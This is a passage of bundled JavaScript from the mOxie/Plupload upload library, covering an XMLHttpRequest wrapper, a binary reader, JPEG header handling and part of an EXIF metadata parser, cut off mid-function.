6987 }
6988
6989 return (extensions.FileReader = FileReader);
6990});
6991
6992// Included from: src/javascript/runtime/html5/xhr/XMLHttpRequest.js
6993
6994/**
6995 * XMLHttpRequest.js
6996 *
6997 * Copyright 2013, Moxiecode Systems AB
6998 * Released under GPL License.
6999 *
7000 * License: http://www.plupload.com/license
7001 * Contributing: http://www.plupload.com/contributing
7002 */
7003
7004/*global ActiveXObject:true */
7005
7006/**
7007@class moxie/runtime/html5/xhr/XMLHttpRequest
7008@private
7009*/
7010define("moxie/runtime/html5/xhr/XMLHttpRequest", [
7011 "moxie/runtime/html5/Runtime",
7012 "moxie/core/utils/Basic",
7013 "moxie/core/utils/Mime",
7014 "moxie/core/utils/Url",
7015 "moxie/file/File",
7016 "moxie/file/Blob",
7017 "moxie/xhr/FormData",
7018 "moxie/core/Exceptions",
7019 "moxie/core/utils/Env"
7020], function(extensions, Basic, Mime, Url, File, Blob, FormData, x, Env) {
7021
7022 function XMLHttpRequest() {
7023 var self = this
7024 , _xhr
7025 , _filename
7026 ;
7027
7028 Basic.extend(this, {
7029 send: function(meta, data) {
7030 var target = this
7031 , isGecko2_5_6 = (Env.browser === 'Mozilla' && Env.verComp(Env.version, 4, '>=') && Env.verComp(Env.version, 7, '<'))
7032 , isAndroidBrowser = Env.browser === 'Android Browser'
7033 , mustSendAsBinary = false
7034 ;
7035
7036 // extract file name
7037 _filename = meta.url.replace(/^.+?\/([\w\-\.]+)$/, '$1').toLowerCase();
7038
7039 _xhr = _getNativeXHR();
7040 _xhr.open(meta.method, meta.url, meta.async, meta.user, meta.password);
7041
7042
7043 // prepare data to be sent
7044 if (data instanceof Blob) {
7045 if (data.isDetached()) {
7046 mustSendAsBinary = true;
7047 }
7048 data = data.getSource();
7049 } else if (data instanceof FormData) {
7050
7051 if (data.hasBlob()) {
7052 if (data.getBlob().isDetached()) {
7053 data = _prepareMultipart.call(target, data); // _xhr must be instantiated and be in OPENED state
7054 mustSendAsBinary = true;
7055 } else if ((isGecko2_5_6 || isAndroidBrowser) && Basic.typeOf(data.getBlob().getSource()) === 'blob' && window.FileReader) {
7056 // Gecko 2/5/6 can't send blob in FormData: https://bugzilla.mozilla.org/show_bug.cgi?id=649150
7057 // Android browsers (default one and Dolphin) seem to have the same issue, see: #613
7058 _preloadAndSend.call(target, meta, data);
7059 return; // _preloadAndSend will reinvoke send() with transmutated FormData =%D
7060 }
7061 }
7062
7063 // transfer fields to real FormData
7064 if (data instanceof FormData) { // if still a FormData, e.g. not mangled by _prepareMultipart()
7065 var fd = new window.FormData();
7066 data.each(function(value, name) {
7067 if (value instanceof Blob) {
7068 fd.append(name, value.getSource());
7069 } else {
7070 fd.append(name, value);
7071 }
7072 });
7073 data = fd;
7074 }
7075 }
7076
7077
7078 // if XHR L2
7079 if (_xhr.upload) {
7080 if (meta.withCredentials) {
7081 _xhr.withCredentials = true;
7082 }
7083
7084 _xhr.addEventListener('load', function(e) {
7085 target.trigger(e);
7086 });
7087
7088 _xhr.addEventListener('error', function(e) {
7089 target.trigger(e);
7090 });
7091
7092 // additionally listen to progress events
7093 _xhr.addEventListener('progress', function(e) {
7094 target.trigger(e);
7095 });
7096
7097 _xhr.upload.addEventListener('progress', function(e) {
7098 target.trigger({
7099 type: 'UploadProgress',
7100 loaded: e.loaded,
7101 total: e.total
7102 });
7103 });
7104 // ... otherwise simulate XHR L2
7105 } else {
7106 _xhr.onreadystatechange = function onReadyStateChange() {
7107
7108 // fake Level 2 events
7109 switch (_xhr.readyState) {
7110
7111 case 1: // XMLHttpRequest.OPENED
7112 // readystatechanged is fired twice for OPENED state (in IE and Mozilla) - neu
7113 break;
7114
7115 // looks like HEADERS_RECEIVED (state 2) is not reported in Opera (or it's old versions) - neu
7116 case 2: // XMLHttpRequest.HEADERS_RECEIVED
7117 break;
7118
7119 case 3: // XMLHttpRequest.LOADING
7120 // try to fire progress event for not XHR L2
7121 var total, loaded;
7122
7123 try {
7124 if (Url.hasSameOrigin(meta.url)) { // Content-Length not accessible for cross-domain on some browsers
7125 total = _xhr.getResponseHeader('Content-Length') || 0; // old Safari throws an exception here
7126 }
7127
7128 if (_xhr.responseText) { // responseText was introduced in IE7
7129 loaded = _xhr.responseText.length;
7130 }
7131 } catch(ex) {
7132 total = loaded = 0;
7133 }
7134
7135 target.trigger({
7136 type: 'progress',
7137 lengthComputable: !!total,
7138 total: parseInt(total, 10),
7139 loaded: loaded
7140 });
7141 break;
7142
7143 case 4: // XMLHttpRequest.DONE
7144 // release readystatechange handler (mostly for IE)
7145 _xhr.onreadystatechange = function() {};
7146
7147 // usually status 0 is returned when server is unreachable, but FF also fails to status 0 for 408 timeout
7148 if (_xhr.status === 0) {
7149 target.trigger('error');
7150 } else {
7151 target.trigger('load');
7152 }
7153 break;
7154 }
7155 };
7156 }
7157
7158
7159 // set request headers
7160 if (!Basic.isEmptyObj(meta.headers)) {
7161 Basic.each(meta.headers, function(value, header) {
7162 _xhr.setRequestHeader(header, value);
7163 });
7164 }
7165
7166 // request response type
7167 if ("" !== meta.responseType && 'responseType' in _xhr) {
7168 if ('json' === meta.responseType && !Env.can('return_response_type', 'json')) { // we can fake this one
7169 _xhr.responseType = 'text';
7170 } else {
7171 _xhr.responseType = meta.responseType;
7172 }
7173 }
7174
7175 // send ...
7176 if (!mustSendAsBinary) {
7177 _xhr.send(data);
7178 } else {
7179 if (_xhr.sendAsBinary) { // Gecko
7180 _xhr.sendAsBinary(data);
7181 } else { // other browsers having support for typed arrays
7182 (function() {
7183 // mimic Gecko's sendAsBinary
7184 var ui8a = new Uint8Array(data.length);
7185 for (var i = 0; i < data.length; i++) {
7186 ui8a[i] = (data.charCodeAt(i) & 0xff);
7187 }
7188 _xhr.send(ui8a.buffer);
7189 }());
7190 }
7191 }
7192
7193 target.trigger('loadstart');
7194 },
7195
7196 getStatus: function() {
7197 // according to W3C spec it should return 0 for readyState < 3, but instead it throws an exception
7198 try {
7199 if (_xhr) {
7200 return _xhr.status;
7201 }
7202 } catch(ex) {}
7203 return 0;
7204 },
7205
7206 getResponse: function(responseType) {
7207 var I = this.getRuntime();
7208
7209 try {
7210 switch (responseType) {
7211 case 'blob':
7212 var file = new File(I.uid, _xhr.response);
7213
7214 // try to extract file name from content-disposition if possible (might be - not, if CORS for example)
7215 var disposition = _xhr.getResponseHeader('Content-Disposition');
7216 if (disposition) {
7217 // extract filename from response header if available
7218 var match = disposition.match(/filename=([\'\"'])([^\1]+)\1/);
7219 if (match) {
7220 _filename = match[2];
7221 }
7222 }
7223 file.name = _filename;
7224
7225 // pre-webkit Opera doesn't set type property on the blob response
7226 if (!file.type) {
7227 file.type = Mime.getFileMime(_filename);
7228 }
7229 return file;
7230
7231 case 'json':
7232 if (!Env.can('return_response_type', 'json')) {
7233 return _xhr.status === 200 && !!window.JSON ? JSON.parse(_xhr.responseText) : null;
7234 }
7235 return _xhr.response;
7236
7237 case 'document':
7238 return _getDocument(_xhr);
7239
7240 default:
7241 return _xhr.responseText !== '' ? _xhr.responseText : null; // against the specs, but for consistency across the runtimes
7242 }
7243 } catch(ex) {
7244 return null;
7245 }
7246 },
7247
7248 getAllResponseHeaders: function() {
7249 try {
7250 return _xhr.getAllResponseHeaders();
7251 } catch(ex) {}
7252 return '';
7253 },
7254
7255 abort: function() {
7256 if (_xhr) {
7257 _xhr.abort();
7258 }
7259 },
7260
7261 destroy: function() {
7262 self = _filename = null;
7263 }
7264 });
7265
7266
7267 // here we go... ugly fix for ugly bug
7268 function _preloadAndSend(meta, data) {
7269 var target = this, blob, fr;
7270
7271 // get original blob
7272 blob = data.getBlob().getSource();
7273
7274 // preload blob in memory to be sent as binary string
7275 fr = new window.FileReader();
7276 fr.onload = function() {
7277 // overwrite original blob
7278 data.append(data.getBlobName(), new Blob(null, {
7279 type: blob.type,
7280 data: fr.result
7281 }));
7282 // invoke send operation again
7283 self.send.call(target, meta, data);
7284 };
7285 fr.readAsBinaryString(blob);
7286 }
7287
7288
7289 function _getNativeXHR() {
7290 if (window.XMLHttpRequest && !(Env.browser === 'IE' && Env.verComp(Env.version, 8, '<'))) { // IE7 has native XHR but it's buggy
7291 return new window.XMLHttpRequest();
7292 } else {
7293 return (function() {
7294 var progIDs = ['Msxml2.XMLHTTP.6.0', 'Microsoft.XMLHTTP']; // if 6.0 available, use it, otherwise failback to default 3.0
7295 for (var i = 0; i < progIDs.length; i++) {
7296 try {
7297 return new ActiveXObject(progIDs[i]);
7298 } catch (ex) {}
7299 }
7300 })();
7301 }
7302 }
7303
7304 // @credits Sergey Ilinsky (http://www.ilinsky.com/)
7305 function _getDocument(xhr) {
7306 var rXML = xhr.responseXML;
7307 var rText = xhr.responseText;
7308
7309 // Try parsing responseText (@see: http://www.ilinsky.com/articles/XMLHttpRequest/#bugs-ie-responseXML-content-type)
7310 if (Env.browser === 'IE' && rText && rXML && !rXML.documentElement && /[^\/]+\/[^\+]+\+xml/.test(xhr.getResponseHeader("Content-Type"))) {
7311 rXML = new window.ActiveXObject("Microsoft.XMLDOM");
7312 rXML.async = false;
7313 rXML.validateOnParse = false;
7314 rXML.loadXML(rText);
7315 }
7316
7317 // Check if there is no error in document
7318 if (rXML) {
7319 if ((Env.browser === 'IE' && rXML.parseError !== 0) || !rXML.documentElement || rXML.documentElement.tagName === "parsererror") {
7320 return null;
7321 }
7322 }
7323 return rXML;
7324 }
7325
7326
7327 function _prepareMultipart(fd) {
7328 var boundary = '----moxieboundary' + new Date().getTime()
7329 , dashdash = '--'
7330 , crlf = '\r\n'
7331 , multipart = ''
7332 , I = this.getRuntime()
7333 ;
7334
7335 if (!I.can('send_binary_string')) {
7336 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
7337 }
7338
7339 _xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);
7340
7341 // append multipart parameters
7342 fd.each(function(value, name) {
7343 // Firefox 3.6 failed to convert multibyte characters to UTF-8 in sendAsBinary(),
7344 // so we try it here ourselves with: unescape(encodeURIComponent(value))
7345 if (value instanceof Blob) {
7346 // Build RFC2388 blob
7347 multipart += dashdash + boundary + crlf +
7348 'Content-Disposition: form-data; name="' + name + '"; filename="' + unescape(encodeURIComponent(value.name || 'blob')) + '"' + crlf +
7349 'Content-Type: ' + (value.type || 'application/octet-stream') + crlf + crlf +
7350 value.getSource() + crlf;
7351 } else {
7352 multipart += dashdash + boundary + crlf +
7353 'Content-Disposition: form-data; name="' + name + '"' + crlf + crlf +
7354 unescape(encodeURIComponent(value)) + crlf;
7355 }
7356 });
7357
7358 multipart += dashdash + boundary + dashdash + crlf;
7359
7360 return multipart;
7361 }
7362 }
7363
7364 return (extensions.XMLHttpRequest = XMLHttpRequest);
7365});
7366
7367// Included from: src/javascript/runtime/html5/utils/BinaryReader.js
7368
7369/**
7370 * BinaryReader.js
7371 *
7372 * Copyright 2013, Moxiecode Systems AB
7373 * Released under GPL License.
7374 *
7375 * License: http://www.plupload.com/license
7376 * Contributing: http://www.plupload.com/contributing
7377 */
7378
7379/**
7380@class moxie/runtime/html5/utils/BinaryReader
7381@private
7382*/
7383define("moxie/runtime/html5/utils/BinaryReader", [
7384 "moxie/core/utils/Basic"
7385], function(Basic) {
7386
7387
7388 function BinaryReader(data) {
7389 if (data instanceof ArrayBuffer) {
7390 ArrayBufferReader.apply(this, arguments);
7391 } else {
7392 UTF16StringReader.apply(this, arguments);
7393 }
7394 }
7395
7396 Basic.extend(BinaryReader.prototype, {
7397
7398 littleEndian: false,
7399
7400
7401 read: function(idx, size) {
7402 var sum, mv, i;
7403
7404 if (idx + size > this.length()) {
7405 throw new Error("You are trying to read outside the source boundaries.");
7406 }
7407
7408 mv = this.littleEndian
7409 ? 0
7410 : -8 * (size - 1)
7411 ;
7412
7413 for (i = 0, sum = 0; i < size; i++) {
7414 sum |= (this.readByteAt(idx + i) << Math.abs(mv + i*8));
7415 }
7416 return sum;
7417 },
7418
7419
7420 write: function(idx, num, size) {
7421 var mv, i, str = '';
7422
7423 if (idx > this.length()) {
7424 throw new Error("You are trying to write outside the source boundaries.");
7425 }
7426
7427 mv = this.littleEndian
7428 ? 0
7429 : -8 * (size - 1)
7430 ;
7431
7432 for (i = 0; i < size; i++) {
7433 this.writeByteAt(idx + i, (num >> Math.abs(mv + i*8)) & 255);
7434 }
7435 },
7436
7437
7438 BYTE: function(idx) {
7439 return this.read(idx, 1);
7440 },
7441
7442
7443 SHORT: function(idx) {
7444 return this.read(idx, 2);
7445 },
7446
7447
7448 LONG: function(idx) {
7449 return this.read(idx, 4);
7450 },
7451
7452
7453 SLONG: function(idx) { // 2's complement notation
7454 var num = this.read(idx, 4);
7455 return (num > 2147483647 ? num - 4294967296 : num);
7456 },
7457
7458
7459 CHAR: function(idx) {
7460 return String.fromCharCode(this.read(idx, 1));
7461 },
7462
7463
7464 STRING: function(idx, count) {
7465 return this.asArray('CHAR', idx, count).join('');
7466 },
7467
7468
7469 asArray: function(type, idx, count) {
7470 var values = [];
7471
7472 for (var i = 0; i < count; i++) {
7473 values[i] = this[type](idx + i);
7474 }
7475 return values;
7476 }
7477 });
7478
7479
7480 function ArrayBufferReader(data) {
7481 var _dv = new DataView(data);
7482
7483 Basic.extend(this, {
7484
7485 readByteAt: function(idx) {
7486 return _dv.getUint8(idx);
7487 },
7488
7489
7490 writeByteAt: function(idx, value) {
7491 _dv.setUint8(idx, value);
7492 },
7493
7494
7495 SEGMENT: function(idx, size, value) {
7496 switch (arguments.length) {
7497 case 2:
7498 return data.slice(idx, idx + size);
7499
7500 case 1:
7501 return data.slice(idx);
7502
7503 case 3:
7504 if (value === null) {
7505 value = new ArrayBuffer();
7506 }
7507
7508 if (value instanceof ArrayBuffer) {
7509 var arr = new Uint8Array(this.length() - size + value.byteLength);
7510 if (idx > 0) {
7511 arr.set(new Uint8Array(data.slice(0, idx)), 0);
7512 }
7513 arr.set(new Uint8Array(value), idx);
7514 arr.set(new Uint8Array(data.slice(idx + size)), idx + value.byteLength);
7515
7516 this.clear();
7517 data = arr.buffer;
7518 _dv = new DataView(data);
7519 break;
7520 }
7521
7522 default: return data;
7523 }
7524 },
7525
7526
7527 length: function() {
7528 return data ? data.byteLength : 0;
7529 },
7530
7531
7532 clear: function() {
7533 _dv = data = null;
7534 }
7535 });
7536 }
7537
7538
7539 function UTF16StringReader(data) {
7540 Basic.extend(this, {
7541
7542 readByteAt: function(idx) {
7543 return data.charCodeAt(idx);
7544 },
7545
7546
7547 writeByteAt: function(idx, value) {
7548 putstr(String.fromCharCode(value), idx, 1);
7549 },
7550
7551
7552 SEGMENT: function(idx, length, segment) {
7553 switch (arguments.length) {
7554 case 1:
7555 return data.substr(idx);
7556 case 2:
7557 return data.substr(idx, length);
7558 case 3:
7559 putstr(segment !== null ? segment : '', idx, length);
7560 break;
7561 default: return data;
7562 }
7563 },
7564
7565
7566 length: function() {
7567 return data ? data.length : 0;
7568 },
7569
7570 clear: function() {
7571 data = null;
7572 }
7573 });
7574
7575
7576 function putstr(segment, idx, length) {
7577 length = arguments.length === 3 ? length : data.length - idx - 1;
7578 data = data.substr(0, idx) + segment + data.substr(length + idx);
7579 }
7580 }
7581
7582
7583 return BinaryReader;
7584});
7585
7586// Included from: src/javascript/runtime/html5/image/JPEGHeaders.js
7587
7588/**
7589 * JPEGHeaders.js
7590 *
7591 * Copyright 2013, Moxiecode Systems AB
7592 * Released under GPL License.
7593 *
7594 * License: http://www.plupload.com/license
7595 * Contributing: http://www.plupload.com/contributing
7596 */
7597
7598/**
7599@class moxie/runtime/html5/image/JPEGHeaders
7600@private
7601*/
7602define("moxie/runtime/html5/image/JPEGHeaders", [
7603 "moxie/runtime/html5/utils/BinaryReader",
7604 "moxie/core/Exceptions"
7605], function(BinaryReader, x) {
7606
7607 return function JPEGHeaders(data) {
7608 var headers = [], _br, idx, marker, length = 0;
7609
7610 _br = new BinaryReader(data);
7611
7612 // Check if data is jpeg
7613 if (_br.SHORT(0) !== 0xFFD8) {
7614 _br.clear();
7615 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
7616 }
7617
7618 idx = 2;
7619
7620 while (idx <= _br.length()) {
7621 marker = _br.SHORT(idx);
7622
7623 // omit RST (restart) markers
7624 if (marker >= 0xFFD0 && marker <= 0xFFD7) {
7625 idx += 2;
7626 continue;
7627 }
7628
7629 // no headers allowed after SOS marker
7630 if (marker === 0xFFDA || marker === 0xFFD9) {
7631 break;
7632 }
7633
7634 length = _br.SHORT(idx + 2) + 2;
7635
7636 // APPn marker detected
7637 if (marker >= 0xFFE1 && marker <= 0xFFEF) {
7638 headers.push({
7639 hex: marker,
7640 name: 'APP' + (marker & 0x000F),
7641 start: idx,
7642 length: length,
7643 segment: _br.SEGMENT(idx, length)
7644 });
7645 }
7646
7647 idx += length;
7648 }
7649
7650 _br.clear();
7651
7652 return {
7653 headers: headers,
7654
7655 restore: function(data) {
7656 var max, i, br;
7657
7658 br = new BinaryReader(data);
7659
7660 idx = br.SHORT(2) == 0xFFE0 ? 4 + br.SHORT(4) : 2;
7661
7662 for (i = 0, max = headers.length; i < max; i++) {
7663 br.SEGMENT(idx, 0, headers[i].segment);
7664 idx += headers[i].length;
7665 }
7666
7667 data = br.SEGMENT();
7668 br.clear();
7669 return data;
7670 },
7671
7672 strip: function(data) {
7673 var br, headers, jpegHeaders, i;
7674
7675 jpegHeaders = new JPEGHeaders(data);
7676 headers = jpegHeaders.headers;
7677 jpegHeaders.purge();
7678
7679 br = new BinaryReader(data);
7680
7681 i = headers.length;
7682 while (i--) {
7683 br.SEGMENT(headers[i].start, headers[i].length, '');
7684 }
7685
7686 data = br.SEGMENT();
7687 br.clear();
7688 return data;
7689 },
7690
7691 get: function(name) {
7692 var array = [];
7693
7694 for (var i = 0, max = headers.length; i < max; i++) {
7695 if (headers[i].name === name.toUpperCase()) {
7696 array.push(headers[i].segment);
7697 }
7698 }
7699 return array;
7700 },
7701
7702 set: function(name, segment) {
7703 var array = [], i, ii, max;
7704
7705 if (typeof(segment) === 'string') {
7706 array.push(segment);
7707 } else {
7708 array = segment;
7709 }
7710
7711 for (i = ii = 0, max = headers.length; i < max; i++) {
7712 if (headers[i].name === name.toUpperCase()) {
7713 headers[i].segment = array[ii];
7714 headers[i].length = array[ii].length;
7715 ii++;
7716 }
7717 if (ii >= array.length) {
7718 break;
7719 }
7720 }
7721 },
7722
7723 purge: function() {
7724 this.headers = headers = [];
7725 }
7726 };
7727 };
7728});
7729
7730// Included from: src/javascript/runtime/html5/image/ExifParser.js
7731
7732/**
7733 * ExifParser.js
7734 *
7735 * Copyright 2013, Moxiecode Systems AB
7736 * Released under GPL License.
7737 *
7738 * License: http://www.plupload.com/license
7739 * Contributing: http://www.plupload.com/contributing
7740 */
7741
7742/**
7743@class moxie/runtime/html5/image/ExifParser
7744@private
7745*/
7746define("moxie/runtime/html5/image/ExifParser", [
7747 "moxie/core/utils/Basic",
7748 "moxie/runtime/html5/utils/BinaryReader",
7749 "moxie/core/Exceptions"
7750], function(Basic, BinaryReader, x) {
7751
7752 function ExifParser(data) {
7753 var __super__, tags, tagDescs, offsets, idx, Tiff;
7754
7755 BinaryReader.call(this, data);
7756
7757 tags = {
7758 tiff: {
7759 /*
7760 The image orientation viewed in terms of rows and columns.
7761
7762 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
7763 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
7764 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
7765 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
7766 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
7767 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
7768 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
7769 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
7770 */
7771 0x0112: 'Orientation',
7772 0x010E: 'ImageDescription',
7773 0x010F: 'Make',
7774 0x0110: 'Model',
7775 0x0131: 'Software',
7776 0x8769: 'ExifIFDPointer',
7777 0x8825: 'GPSInfoIFDPointer'
7778 },
7779 exif: {
7780 0x9000: 'ExifVersion',
7781 0xA001: 'ColorSpace',
7782 0xA002: 'PixelXDimension',
7783 0xA003: 'PixelYDimension',
7784 0x9003: 'DateTimeOriginal',
7785 0x829A: 'ExposureTime',
7786 0x829D: 'FNumber',
7787 0x8827: 'ISOSpeedRatings',
7788 0x9201: 'ShutterSpeedValue',
7789 0x9202: 'ApertureValue' ,
7790 0x9207: 'MeteringMode',
7791 0x9208: 'LightSource',
7792 0x9209: 'Flash',
7793 0x920A: 'FocalLength',
7794 0xA402: 'ExposureMode',
7795 0xA403: 'WhiteBalance',
7796 0xA406: 'SceneCaptureType',
7797 0xA404: 'DigitalZoomRatio',
7798 0xA408: 'Contrast',
7799 0xA409: 'Saturation',
7800 0xA40A: 'Sharpness'
7801 },
7802 gps: {
7803 0x0000: 'GPSVersionID',
7804 0x0001: 'GPSLatitudeRef',
7805 0x0002: 'GPSLatitude',
7806 0x0003: 'GPSLongitudeRef',
7807 0x0004: 'GPSLongitude'
7808 },
7809
7810 thumb: {
7811 0x0201: 'JPEGInterchangeFormat',
7812 0x0202: 'JPEGInterchangeFormatLength'
7813 }
7814 };
7815
7816 tagDescs = {
7817 'ColorSpace': {
7818 1: 'sRGB',
7819 0: 'Uncalibrated'
7820 },
7821
7822 'MeteringMode': {
7823 0: 'Unknown',
7824 1: 'Average',
7825 2: 'CenterWeightedAverage',
7826 3: 'Spot',
7827 4: 'MultiSpot',
7828 5: 'Pattern',
7829 6: 'Partial',
7830 255: 'Other'
7831 },
7832
7833 'LightSource': {
7834 1: 'Daylight',
7835 2: 'Fliorescent',
7836 3: 'Tungsten',
7837 4: 'Flash',
7838 9: 'Fine weather',
7839 10: 'Cloudy weather',
7840 11: 'Shade',
7841 12: 'Daylight fluorescent (D 5700 - 7100K)',
7842 13: 'Day white fluorescent (N 4600 -5400K)',
7843 14: 'Cool white fluorescent (W 3900 - 4500K)',
7844 15: 'White fluorescent (WW 3200 - 3700K)',
7845 17: 'Standard light A',
7846 18: 'Standard light B',
7847 19: 'Standard light C',
7848 20: 'D55',
7849 21: 'D65',
7850 22: 'D75',
7851 23: 'D50',
7852 24: 'ISO studio tungsten',
7853 255: 'Other'
7854 },
7855
7856 'Flash': {
7857 0x0000: 'Flash did not fire',
7858 0x0001: 'Flash fired',
7859 0x0005: 'Strobe return light not detected',
7860 0x0007: 'Strobe return light detected',
7861 0x0009: 'Flash fired, compulsory flash mode',
7862 0x000D: 'Flash fired, compulsory flash mode, return light not detected',
7863 0x000F: 'Flash fired, compulsory flash mode, return light detected',
7864 0x0010: 'Flash did not fire, compulsory flash mode',
7865 0x0018: 'Flash did not fire, auto mode',
7866 0x0019: 'Flash fired, auto mode',
7867 0x001D: 'Flash fired, auto mode, return light not detected',
7868 0x001F: 'Flash fired, auto mode, return light detected',
7869 0x0020: 'No flash function',
7870 0x0041: 'Flash fired, red-eye reduction mode',
7871 0x0045: 'Flash fired, red-eye reduction mode, return light not detected',
7872 0x0047: 'Flash fired, red-eye reduction mode, return light detected',
7873 0x0049: 'Flash fired, compulsory flash mode, red-eye reduction mode',
7874 0x004D: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected',
7875 0x004F: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected',
7876 0x0059: 'Flash fired, auto mode, red-eye reduction mode',
7877 0x005D: 'Flash fired, auto mode, return light not detected, red-eye reduction mode',
7878 0x005F: 'Flash fired, auto mode, return light detected, red-eye reduction mode'
7879 },
7880
7881 'ExposureMode': {
7882 0: 'Auto exposure',
7883 1: 'Manual exposure',
7884 2: 'Auto bracket'
7885 },
7886
7887 'WhiteBalance': {
7888 0: 'Auto white balance',
7889 1: 'Manual white balance'
7890 },
7891
7892 'SceneCaptureType': {
7893 0: 'Standard',
7894 1: 'Landscape',
7895 2: 'Portrait',
7896 3: 'Night scene'
7897 },
7898
7899 'Contrast': {
7900 0: 'Normal',
7901 1: 'Soft',
7902 2: 'Hard'
7903 },
7904
7905 'Saturation': {
7906 0: 'Normal',
7907 1: 'Low saturation',
7908 2: 'High saturation'
7909 },
7910
7911 'Sharpness': {
7912 0: 'Normal',
7913 1: 'Soft',
7914 2: 'Hard'
7915 },
7916
7917 // GPS related
7918 'GPSLatitudeRef': {
7919 N: 'North latitude',
7920 S: 'South latitude'
7921 },
7922
7923 'GPSLongitudeRef': {
7924 E: 'East longitude',
7925 W: 'West longitude'
7926 }
7927 };
7928
7929 offsets = {
7930 tiffHeader: 10
7931 };
7932
7933 idx = offsets.tiffHeader;
7934
7935 __super__ = {
7936 clear: this.clear
7937 };
7938
7939 // Public functions
7940 Basic.extend(this, {
7941
7942 read: function() {
7943 try {
7944 return ExifParser.prototype.read.apply(this, arguments);
7945 } catch (ex) {
7946 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
7947 }
7948 },
7949
7950
7951 write: function() {
7952 try {
7953 return ExifParser.prototype.write.apply(this, arguments);
7954 } catch (ex) {
7955 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
7956 }
7957 },
7958
7959
7960 UNDEFINED: function() {
7961 return this.BYTE.apply(this, arguments);
7962 },
7963
7964
7965 RATIONAL: function(idx) {
7966 return this.LONG(idx) / this.LONG(idx + 4)
7967 },
7968
7969
7970 SRATIONAL: function(idx) {
7971 return this.SLONG(idx) / this.SLONG(idx + 4)
7972 },
7973
7974 ASCII: function(idx) {
7975 return this.CHAR(idx);
7976 },
7977
7978 TIFF: function() {
7979 return Tiff || null;
7980 },
7981
7982
7983 EXIF: function() {
7984 var Exif = null;
7985
7986 if (offsets.exifIFD) {
7987 try {
7988 Exif = extractTags.call(this, offsets.exifIFD, tags.exif);
7989 } catch(ex) {
7990 return null;
7991 }
7992
7993 // Fix formatting of some tags
7994 if (Exif.ExifVersion && Basic.typeOf(Exif.ExifVersion) === 'array') {
7995 for (var i = 0, exifVersion = ''; i < Exif.ExifVersion.length; i++) {
7996 exifVersion += String.fromCharCode(Exif.ExifVersion[i]);
7997 }
7998 Exif.ExifVersion = exifVersion;
7999 }
8000 }
8001
8002 return Exif;
8003 },
8004
8005
8006 GPS: function() {
8007 var GPS = null;
8008
8009 if (offsets.gpsIFD) {
8010 try {
8011 GPS = extractTags.call(this, offsets.gpsIFD, tags.gps);
8012 } catch (ex) {
8013 return null;
8014 }
8015
8016 // iOS devices (and probably some others) do not put in GPSVersionID tag (why?..)
8017 if (GPS.GPSVersionID && Basic.typeOf(GPS.GPSVersionID) === 'array') {
8018 GPS.GPSVersionID = GPS.GPSVersionID.join('.');
8019 }
8020 }
8021
8022 return GPS;
8023 },
8024
8025
8026 thumb: function() {
8027 if (offsets.IFD1) {
8028 try {
8029 var IFD1Tags = extractTags.call(this, offsets.IFD1, tags.thumb);
8030
8031 if ('JPEGInterchangeFormat' in IFD1Tags) {
8032 return this.SEGMENT(offsets.tiffHeader + IFD1Tags.JPEGInterchangeFormat, IFD1Tags.JPEGInterchangeFormatLength);
8033 }
8034 } catch (ex) {}
8035 }
8036 return null;
8037 },
8038
8039
8040 setExif: function(tag, value) {
8041 // Right now only setting of width/height is possible
8042 if (tag !== 'PixelXDimension' && tag !== 'PixelYDimension') { return false; }
8043
8044 return setTag.call(this, 'exif', tag, value);
8045 },
8046
8047
8048 clear: function() {
8049 __super__.clear();
8050 data = tags = tagDescs = Tiff = offsets = __super__ = null;
8051 }
8052 });
8053
8054
8055 // Check if that's APP1 and that it has EXIF
8056 if (this.SHORT(0) !== 0xFFE1 || this.STRING(4, 5).toUpperCase() !== "EXIF\0") {
8057 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8058 }
8059
8060 // Set read order of multi-byte data
8061 this.littleEndian = (this.SHORT(idx) == 0x4949);
8062
8063 // Check if always present bytes are indeed present
8064 if (this.SHORT(idx+=2) !== 0x002A) {
8065 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8066 }
8067
8068 offsets.IFD0 = offsets.tiffHeader + this.LONG(idx += 2);
8069 Tiff = extractTags.call(this, offsets.IFD0, tags.tiff);
8070
8071 if ('ExifIFDPointer' in Tiff) {
8072 offsets.exifIFD = offsets.tiffHeader + Tiff.ExifIFDPointer;
8073 delete Tiff.ExifIFDPointer;
8074 }
8075
8076 if ('GPSInfoIFDPointer' in Tiff) {
8077 offsets.gpsIFD = offsets.tiffHeader + Tiff.GPSInfoIFDPointer;
8078 delete Tiff.GPSInfoIFDPointer;
8079 }
8080
8081 if (Basic.isEmptyObj(Tiff)) {
8082 Tiff = null;
8083 }
8084
8085 // check if we have a thumb as well
8086 var IFD1Offset = this.LONG(offsets.IFD0 + this.SHORT(offsets.IFD0) * 12 + 2);
8087 if (IFD1Offset) {
8088 offsets.IFD1 = offsets.tiffHeader + IFD1Offset;
8089 }
8090
8091
8092 function extractTags(IFD_offset, tags2extract) {
8093 var data = this;
8094 var length, i, tag, type, count, size, offset, value, values = [], hash = {};
8095
8096 var types = {
8097 1 : 'BYTE',
8098 7 : 'UNDEFINED',
8099 2 : 'ASCII',
8100 3 : 'SHORT',
8101 4 : 'LONG',
8102 5 : 'RATIONAL',
8103 9 : 'SLONG',
8104 10: 'SRATIONAL'
8105 };
8106
8107 var sizes = {
8108 'BYTE' : 1,
8109 'UNDEFINED' : 1,
8110 'ASCII' : 1,
8111 'SHORT' : 2,
8112 'LONG' : 4,
8113 'RATIONAL' : 8,
8114 'SLONG' : 4,
8115 'SRATIONAL' : 8
8116 };
8117
8118 length = data.SHORT(IFD_offset);
8119
8120 // The size of APP1 including all these elements shall not exceed the 64 Kbytes specified in the JPEG standard.
8121
